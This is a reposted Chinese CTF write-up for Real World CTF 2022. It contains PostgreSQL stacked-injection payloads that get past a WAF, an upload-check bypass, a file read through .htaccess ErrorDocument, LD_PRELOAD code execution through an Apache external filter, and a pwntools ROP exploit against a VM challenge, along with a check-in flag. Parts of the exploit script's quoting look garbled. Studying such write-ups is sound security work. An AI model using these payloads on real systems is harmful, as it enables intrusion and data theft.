RWCTF-WriteUp

admin 2022年1月26日10:48:15代码审计1 111 views4476字阅读14分55秒阅读模式

Web

Hack into Skynet

首先是代码审计,审出前端逻辑绕过

RWCTF-WriteUp


RWCTF-WriteUp


进去后是

RWCTF-WriteUp


这里存在 sql 注入,由于这个项目是使用 psql,会跟常用的 mysql 有些语法区别。且这个项目里的分类器存在 waf,经常 403,恼火的点。

最开始尝试了name=' or '1, 得到 skynet: 1997-04-19 00:00:00

然后再折腾,要么 psql 语法问题,要么经常遇到 403, 得转变思维,重点肯定是在 psql 或者说 sql 的语法,首先尝试 psql 的堆叠注入

name=';--没403,但也没 target,但至少堆叠注入的思路大概不会错

psql 有预处理的语法,使用上

name='; PREPARE pcat AS select 1,2; EXECUTE pcat;--

RWCTF-WriteUp

显示出来,那离解题很近了, 查表名

name='; PREPARE pcat AS select 1,tablename from pg_tables where schemaname='public' offset 0;; EXECUTE pcat;--

RWCTF-WriteUp

查了几个表名:

  • target
  • target_credentials
  • login_session
  • exp
  • passwd
  • result
  • a
  • cmd_exe

查列名

原本是想用

select 1,column_name from information_schema.columns where table_schema='public' and table_name='target_credentials' offset 0

结果有 where 语句里的 = 号就给 403,可恶。但我也可以爆破列名

name='; PREPARE pcat AS select table_name,column_name from information_schema.columns offset 0; EXECUTE pcat;--

RWCTF-WriteUp

上 intruder,把 offset 后面的序数作为爆破点,使用 Numbers,并在结果的Options→Grep-Extract加上匹配表名(这次我的查询语句加上了表名),让我方便定位列名。

RWCTF-WriteUp

最后试了下,在第 2 个表有一个secret_key

name='; PREPARE pcat AS select 1,secret_key from target_credentials offset 0; EXECUTE pcat;--

RWCTF-WriteUp

RWDN

/source 路由下有 nodejs 源码, 根据源码中的提示,访问/source?checkin=0可以获取 check.js 的源码。

上传是在 31337 端口上,服务是 nodejs。上传成功后在 31338 端口(也就是 CDN)访问文件,服务是 apache。

访问http://47.243.75.225:31338/获得提示: Welcome to my CDN! Execute /readflag to get flag.

也就是说,题目是两个容器(nodejs 31337, cdn 31338)开启的,两个容器存在文件同步,flag 在 CDN 服务器上。

check.js

RWCTF-WriteUp


server.js

RWCTF-WriteUp


可以看到 check.js 里面在检测的时候没有校验文件与 formid 一致性,当后缀检测通过后,直接 next(),而反观 server.js 中在 check 过后,最终 move 上传文件的时候,是以 GET 参数上 formid 为准的。两者不一致导致我们可以通过上传多个文件来 bypass 文件后缀名检查。

我们在上传的时候,同时上传两个文件,一个文件名后缀是白名单的, name 与 formid 不一致,一个文件名是我们最终要上传的, name 参数与 formid 一致,即可利用白后缀文件来通过 check,而在最终 move 的时候,狸猫换太子,把恶意文件传上去。

在上传之前,我们注意到 server.js 里关于 uploadPath 的计算方法

sampleFile = req.files[req.query.formid];
userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
userfile = sampleFile.name.toString();
if(userfile.includes('/')||userfile.includes('..')){
    return res.status(500).send("Invalid file name");
}
uploadPath = '/uploads/' + userdir + '/' + userfile;

文件目录的 hash 与文件内容和访问者的 IP 有关,所以还需要提前计算好目录 hash,这里有个懒办法,就是把同样的内容,先用白后缀上传一次,就知道目录 hash 了,然后再用双文件的方式上传即可。

任意文件上传:

步骤 1,准备你想要上传的文件, 将后缀改成白名单列表里的后缀,比如 a.txt

RWCTF-WriteUp


步骤 2,增加一个白后缀的文件,内容随意,之后将要上传的文件改成你要的文件名

RWCTF-WriteUp


再发送,虽然得到 something error 但我们想要的文件已经上传了

访问步骤 1 的目录,发现文件确实上传了

RWCTF-WriteUp


这里记得目录大概 3 分钟左右被清理,这时候你重放下 bp 的包即可。

不断测试之后,发现上传.htaccess之后,从 CDN 访问可以生效

利用ErrorDocument 404读取任意文件

ErrorDocument 404 "%{file:/etc/apache2/apache2.conf}"

RWCTF-WriteUp


发现apache2.conf配置文件中有ext_mod_filter的配置

ExtFilterDefine 7f39f8317fgzip mode=output cmd=/bin/gzip

我们如果设置了7f39f8317fgzip这个 output filter,之后 apache 在返回页面的时候,会调用/bin/gzip命令。

RCE:上传恶意 so 文件,利用.htaccess设置 LD_PRELOAD 环境变量,之后访问页面触发劫持。

RWCTF-WriteUp

/readflag 有验证码,这个验证码之前比赛出过好多了,找个 perl 脚本来操作一下

上传 perl 脚本

RWCTF-WriteUp


上传 so 文件,内容是执行 perl 脚本并重定向到/tmp/fuckblag

RWCTF-WriteUp


上传 .htaccess 文件

RWCTF-WriteUp


访问目录触发 LD_PRELOAD 执行

RWCTF-WriteUp


再随便访问一个 404 页面读 flag 文件

RWCTF-WriteUp

Pwn

svme

vm sp 没有 check,通过 CALL 指令将 vm 结构体中堆和栈地址存入 call_stack,LOAD 指令覆盖 globals 指针为栈地址,使用GLOAD/GSTORE进行栈空间读写覆盖返回地址执行 ROP

from pwn import *
#p = process("./svme")
p = remote("47.243.140.252", 1337)
'''
    { "noop",   0 },    // 0
    { "iadd",   0 },    // 1
    { "isub",   0 },    // 2
    { "imul",   0 },    // 3
    { "ilt",    0 },    // 4
    { "ieq",    0 },    // 5
    { "br",     1 },    // 7
    { "brt",    1 },    // 8
    { "brf",    1 },    // 9
    { "iconst", 1 },    // 10
    { "load",   1 },
    { "gload",  1 },
    { "store",  1 },
    { "gstore", 1 },
    { "print",  0 },
    { "pop",    0 },
    { "call",   3 },
    { "ret",    0 },
    { "halt",   0 }
'
''

payload = p32(0x10)+p32(4)+p32(0x7)+p32(0)+p32(0xa)+p32(0x6)+p32(0xa)+p32(0x5)+p32(0xa)+p32(0x4)+p32(0xa)+p32(0x3)
payload += p32(0xa)+p32(0x6)+p32(0xa)+p32(0x5)+p32(0xb)+p32(0x87)+p32(0xb)+p32(0x86)+p32(0x9)+p32(0xfffffac0)+p32(1)
payload += p32(0xd)+p32(0x86)+p32(0xd)+p32(0x87)#+p32(0xd)+p32(0x88)+p32(0xd)+p32(0x89)+p32(0xf)+p32(0x9)+p32(0)+p32(1)+p32(0xd)+p32(0x88)+p32(0xd)+p32(0x89)
payload += p32(0xb)+p32(0x87)+p32(0xb)+p32(0x86)+p32(0x9)+p32(0xffffffff)+p32(1)+p32(0xd)+p32(0x88)+p32(0xd)+p32(0x89)
payload += p32(0xb)+p32(0x87)+p32(0xb)+p32(0x86)+p32(0x9)+p32(0x190a37)+p32(1)+p32(0xd)+p32(0x8a)+p32(0xd)+p32(0x8b)
payload += p32(0xb)+p32(0x87)+p32(0xb)+p32(0x86)+p32(0x9)+p32(0x2e89d)+p32(1)+p32(0xd)+p32(0x8c)+p32(0xd)+p32(0x8d)
payload += p32(0xf)*2+p32(0xa)+p32(0x2)+p32(0xa)+p32(0x1)
payload += p32(9)+p32(0)+p32(9)+p32(0)+p32(9)+p32(0)+p32(9)+p32(0)+p32(0x12)#
p.send(payload.ljust(0x200, b"x00"))

p.interactive()

check-in

Quadrennial

Time and the dragons always tell the real. 

RWCTF-WriteUp


Tip:4 words in the right order/use the underscore to connect the truth and put it in the flag format rwctf{something}.

按词序来拼接即可

rwctf{Super_Hunters_Conquer_Together}

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]



RWCTF-WriteUp

原文始发于微信公众号(ChaMd5安全团队):RWCTF-WriteUp

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月26日10:48:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  RWCTF-WriteUp http://cn-sec.com/archives/754424.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

评论:1   其中:访客  1   博主  0
    • yink 0

      我想问一下,怎么知道这个项目是用的psql呢